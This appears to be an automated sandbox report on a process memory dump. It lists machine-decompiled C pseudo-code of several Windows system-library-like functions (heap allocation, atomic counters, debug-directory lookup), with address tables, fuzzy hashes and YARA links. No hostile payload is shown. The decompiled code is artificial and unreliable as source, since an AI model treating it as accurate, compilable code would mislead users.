										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x00d7e730
0x00d7e736
0x00d7e738
0x00d7e73d
0x00d7e73e
0x00d7e740
0x00d7e749
0x00d7e765
0x00d7e76a
0x00d7e76b
0x00d7e76c
0x00d7e76d
0x00d7e76e
0x00d7e76f
0x00d7e775
0x00d7e777
0x00d7e77e
0x00dbb675
0x00d7e784
0x00d7e784
0x00d7e789
0x00d7e7a8
0x00d7e7ac
0x00d7e807
0x00d7e7ae
0x00d7e7ae
0x00d7e7b1
0x00d7e7b4
0x00d7e7b9
0x00d7e7c0
0x00d7e7c4
0x00d7e7ca
0x00d7e7cc
0x00000000
0x00d7e7d3
0x00d7e7d6
0x00000000
0x00000000
0x00d7e7ff
0x00d7e802
0x00000000
0x00000000
0x00d7e7f9
0x00d7e7fc
0x00000000
0x00000000
0x00d7e7f3
0x00d7e7f6
0x00000000
0x00000000
0x00d7e7ed
0x00d7e7f0
0x00000000
0x00000000
0x00d7e7e7
0x00d7e7ea
0x00000000
0x00000000
0x00dbb685
0x00dbb688
0x00000000
0x00000000
0x00dbb682
0x00000000
0x00000000
0x00d7e7cc
0x00d7e7d9
0x00d7e7dc
0x00d7e7de
0x00d7e7de
0x00d7e7ac
0x00d7e7e4
0x00d7e74b
0x00d7e751
0x00d7e759
0x00d7e761
0x00d7e761

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc8f39a72bd6104de75c441562aa3945ffba8c2bb15121b061ee785906698ef4
Instruction ID: 880d87b9aa1c042c5f8f3e17506cb81a92603892acaac080e6dc6af6345c0774
Opcode Fuzzy Hash: cc8f39a72bd6104de75c441562aa3945ffba8c2bb15121b061ee785906698ef4
Instruction Fuzzy Hash: EC316D75A14249EFD744CF58D841B9ABBE4FB09314F14829AF958CB341E631ED80CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D7BC2C, Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00D7BC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0xe36100; // 0x11
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E00D62280(0xd, 0x470f1a0);
				_t41 =  *0xe360f8; // 0x0
				if(_t41 != 0) {
					 *0xe360f8 =  *_t41;
					 *0xe360fc =  *0xe360fc + 0xffff;
				}
				E00D5FFB0(_t41, 0x800, 0x470f1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0xe360f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L00D64620(0xe36100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0xe36100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x00d7bc36
0x00d7bc42
0x00d7bc45
0x00d7bc4a
0x00d7bd35
0x00000000
0x00000000
0x00000000
0x00000000
0x00d7bc50
0x00d7bc50
0x00d7bc58
0x00d7bc5a
0x00d7bc60
0x00000000
0x00000000
0x00dba4f2
0x00dba4f6
0x00000000
0x00000000
0x00000000
0x00dba4fc
0x00d7bc79
0x00d7bc7e
0x00d7bc86
0x00d7bd16
0x00d7bd20
0x00d7bd20
0x00d7bc8d
0x00d7bc94
0x00d7bcbd
0x00d7bcca
0x00d7bccb
0x00d7bccc
0x00d7bccd
0x00d7bcce
0x00d7bcd4
0x00d7bcea
0x00d7bcee
0x00d7bcf2
0x00d7bd00
0x00d7bd04
0x00000000
0x00d7bc96
0x00d7bcab
0x00d7bcaf
0x00d7bd2c
0x00d7bd2c
0x00d7bd09
0x00000000
0x00d7bd09
0x00d7bcb1
0x00d7bcb5
0x00d7bcbb
0x00000000
0x00000000
0x00000000
0x00d7bcbb

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ebd9a4ab21b0756a42e2e3652643a3eef97e4a02ac1489d5d57e10e003f5470
Instruction ID: 4601fa2529722371d0ea4951e0c7068ec1cfd4ad6ef750dd705abd1fadff3f45
Opcode Fuzzy Hash: 8ebd9a4ab21b0756a42e2e3652643a3eef97e4a02ac1489d5d57e10e003f5470
Instruction Fuzzy Hash: EE31DF32A00619AFCB21DF68D8817A677A4EF18321F14807AED49EF201F774DD098BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D71DB5, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00D71DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E00D6F460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L00D64620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E00D6F460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x00d71dc2
0x00d71dc5
0x00d71dc7
0x00d71dcc
0x00d71dce
0x00d71dd6
0x00d71ddf
0x00d71de0
0x00d71de1
0x00d71de5
0x00d71de8
0x00d71def
0x00d71df0
0x00d71df6
0x00d71df7
0x00d71dfe
0x00d71e1a
0x00000000
0x00000000
0x00d71e0b
0x00d71e12
0x00d71e12
0x00d71e00
0x00d71e00
0x00d71e05
0x00d71e1e
0x00d71e23
0x00db570f
0x00db5713
0x00000000
0x00000000
0x00db5719
0x00db5719
0x00d71e2c
0x00d71e2d
0x00d71e2e
0x00d71e2f
0x00d71e31
0x00d71e32
0x00d71e35
0x00d71e3d
0x00db5723
0x00db573d
0x00db573d
0x00000000
0x00db5723
0x00d71e49
0x00d71e4e
0x00d71e4e
0x00d71e09
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction ID: 821a22a6458365f59112e7137580af574ff9bdf083bd5a27c969043f5d30d694
Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction Fuzzy Hash: D6219F36600519EBC720CF9DCC80EABBBB9EF85740F658165F90997210E634AE01D7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D49100, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00D49100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0xe1f6e8);
				E00D9D0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E00E188F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E00D9D130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0xe386c0; // 0x7807b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0xe386b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E00D62280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E00E188F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E00D8AFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0xe3b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0xe384c0;
										if(_t69 >=  *0xe384c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E00E19063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E00D4922A(_t82);
							_t53 = E00D67D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E00E18B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0xe386c0; // 0x7807b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0xe386b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0xe386bc;
										_t72 = 0xe386b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E00D49240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0xe386c4;
									_t72 = 0xe386c0;
									L18:
									E00D79B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x00d49100
0x00d49100
0x00d49100
0x00d49100
0x00d49102
0x00d49107
0x00d4910c
0x00d49110
0x00d49115
0x00d49136
0x00d49143
0x00da37e4
0x00da37e4
0x00d49149
0x00d4914e
0x00d4914e
0x00d49117
0x00d4911d
0x00000000
0x00000000
0x00d4911f
0x00d49125
0x00000000
0x00d49151
0x00d49158
0x00d4915d
0x00d49161
0x00d49168
0x00da3715
0x00000000
0x00d4916e
0x00d4916e
0x00d49175
0x00d49177
0x00d4917e
0x00d4917f
0x00d49182
0x00d49182
0x00d49187
0x00d49187
0x00d4918a
0x00d4918d
0x00d4918f
0x00d49192
0x00d49195
0x00d49198
0x00d49198
0x00d49198
0x00d4919a
0x00000000
0x00000000
0x00da371f
0x00da3721
0x00da3727
0x00da372f
0x00da3733
0x00da3735
0x00da3738
0x00da373b
0x00da373d
0x00da3740
0x00000000
0x00000000
0x00da3746
0x00da3749
0x00000000
0x00000000
0x00da374f
0x00da3751
0x00000000
0x00000000
0x00da3757
0x00da3759
0x00da375c
0x00da375c
0x00da375e
0x00da375e
0x00da3761
0x00da3764
0x00000000
0x00000000
0x00da3766
0x00da3768
0x00da37a3
0x00da37a3
0x00da37a5
0x00da37a7
0x00da37ad
0x00da37b0
0x00da37b2
0x00da37bc
0x00da37c2
0x00da37c2
0x00da37b2
0x00d49187
0x00d49187
0x00d4918a
0x00d4918d
0x00d4918f
0x00d49192
0x00d49195
0x00000000
0x00d49195
0x00000000
0x00d49187
0x00da376a
0x00da376a
0x00da376c
0x00da376c
0x00da376f
0x00da3775
0x00000000
0x00000000
0x00da3777
0x00da3779
0x00000000
0x00000000
0x00da3782
0x00da3787
0x00da3789
0x00da3790
0x00da3790
0x00da378b
0x00da378b
0x00da378b
0x00da3792
0x00da3795
0x00da3795
0x00da3798
0x00da3798
0x00da379b
0x00da379b
0x00d491a3
0x00d491a9
0x00d491b0
0x00d491b4
0x00d491b4
0x00d491bb
0x00d491c0
0x00d491c5
0x00d491c7
0x00da37da
0x00d491cd
0x00d491cd
0x00d491cd
0x00d491d2
0x00d491d5
0x00d49239
0x00d49239
0x00d491d7
0x00d491db
0x00d491e1
0x00d491e7
0x00d491fd
0x00d49203
0x00d4921e
0x00d49223
0x00000000
0x00d49223
0x00d49205
0x00d49208
0x00d4920c
0x00d49214
0x00d49214
0x00d491e9
0x00d491e9
0x00d491ee
0x00d491f3
0x00d491f3
0x00d491f3
0x00d491e7
0x00000000
0x00d491db
0x00d49187
0x00d49168

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377b94711f4535fba282c7fd3f6f2d506565f9a6c9c7e4009d9adea87c2c4a20
Instruction ID: 733582de228d90ed0a94463902e3e5fe235477ab7b384b17b81ccdcd7c57d61c
Opcode Fuzzy Hash: 377b94711f4535fba282c7fd3f6f2d506565f9a6c9c7e4009d9adea87c2c4a20
Instruction Fuzzy Hash: E631D0B1A00786DFDB21DB6AC599BAEFBB1BB89310F288159E40467251C730AD80CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D60050, Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00D60050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0xe3d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E00D79ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E00D8B640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E00E18A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = E00D79702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0xe3b1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}

0x00d60055
0x00d6005d
0x00d60062
0x00d6006c
0x00d6006f
0x00d60074
0x00d6007a
0x00d6007a
0x00d60080
0x00d60080
0x00d60087
0x00d6008d
0x00d6008f
0x00d60093
0x00d60095
0x00d6009b
0x00d600f8
0x00d600fb
0x00d600fc
0x00d600ff
0x00d60108
0x00d60108
0x00d600a2
0x00d600a6
0x00d600b3
0x00d600bc
0x00d600c5
0x00d600ca
0x00dac01e
0x00000000
0x00000000
0x00dac02d
0x00d600d5
0x00d600d9
0x00dac03d
0x00dac046
0x00dac046
0x00d600df
0x00d600e2
0x00d600ea
0x00d600ef
0x00d600f2
0x00d600f6
0x00d60111
0x00d60117
0x00d60117
0x00000000
0x00d600f6
0x00d600d0
0x00d600d0
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01d55c8e8355b8b1da776efba35e79c31bcf4af4c6bdbfb519b58aabdb00e535
Instruction ID: bca403cb5d988da6cc14a4463b9f965ba853f243bbd054d9ddbc4f82870620e9
Opcode Fuzzy Hash: 01d55c8e8355b8b1da776efba35e79c31bcf4af4c6bdbfb519b58aabdb00e535
Instruction Fuzzy Hash: E3318C31211B04CFD725CB28C845B97B7E5FF89714F28856DE49A87AA0EB75AC05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DC6C0A, Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00DC6C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E00D67D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0xe37b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L00D64620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E00D8F3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E00D67D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E00D89AE0();
						_t23 = L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x00dc6c0a
0x00dc6c0f
0x00dc6c10
0x00dc6c13
0x00dc6c15
0x00dc6c19
0x00dc6c1c
0x00dc6c21
0x00dc6c28
0x00dc6c3a
0x00dc6c2a
0x00dc6c33
0x00dc6c33
0x00dc6c3f
0x00dc6c48
0x00dc6c4d
0x00dc6c60
0x00dc6c65
0x00dc6c69
0x00dc6c73
0x00dc6c79
0x00dc6c7f
0x00dc6c86
0x00dc6c90
0x00dc6c94
0x00dc6ca6
0x00dc6cb2
0x00dc6cbd
0x00dc6cbd
0x00dc6cc3
0x00dc6cc7
0x00dc6ccb
0x00dc6cd0
0x00dc6cd1
0x00dc6ce2
0x00dc6ce2
0x00dc6c69
0x00dc6ced

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c2bc1e0096dad3a5210b64a55b8011ee578392b0d3289d4d1a5ca797148360
Instruction ID: d222e637154f45072db187b2423afbb0ffddd99ded7fce92052c0f79b614e66c
Opcode Fuzzy Hash: 97c2bc1e0096dad3a5210b64a55b8011ee578392b0d3289d4d1a5ca797148360
Instruction Fuzzy Hash: FB21A9B1A00648AFC715DB68D980F6ABBB8FF48744F180069F948DBB91D634ED50CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D890AF, Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00D890AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E00D9D4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E00D7E5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L00D64620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E00D8F3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E00D7A2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x00d890af
0x00d890b8
0x00d890bb
0x00d890bf
0x00d890c2
0x00d890c2
0x00d890c8
0x00d890cb
0x00d890cd
0x00dc14d7
0x00dc14eb
0x00dc14eb
0x00000000
0x00dc14eb
0x00dc14db
0x00dc14e6
0x00000000
0x00dc14f2
0x00dc14e8
0x00000000
0x00dc14e8
0x00d890d8
0x00d890da
0x00d890dd
0x00d890e5
0x00000000
0x00d89139
0x00d890fa
0x00d890fe
0x00d89142
0x00000000
0x00d89142
0x00d89104
0x00d89107
0x00d8910b
0x00d89110
0x00d89118
0x00d89147
0x00d89148
0x00d8914f
0x00d89150
0x00d89151
0x00d89152
0x00d89156
0x00d8915d
0x00d89160
0x00d89168
0x00d8916c
0x00d891bc
0x00d891be
0x00000000
0x00d891be
0x00d8916e
0x00d89173
0x00d89176
0x00000000
0x00000000
0x00d8917c
0x00d89180
0x00d891b5
0x00000000
0x00d891b5
0x00d89182
0x00d89185
0x00d89189
0x00000000
0x00000000
0x00d8918e
0x00d89190
0x00d89198
0x00000000
0x00000000
0x00d891a0
0x00000000
0x00d891ad
0x00d891ad
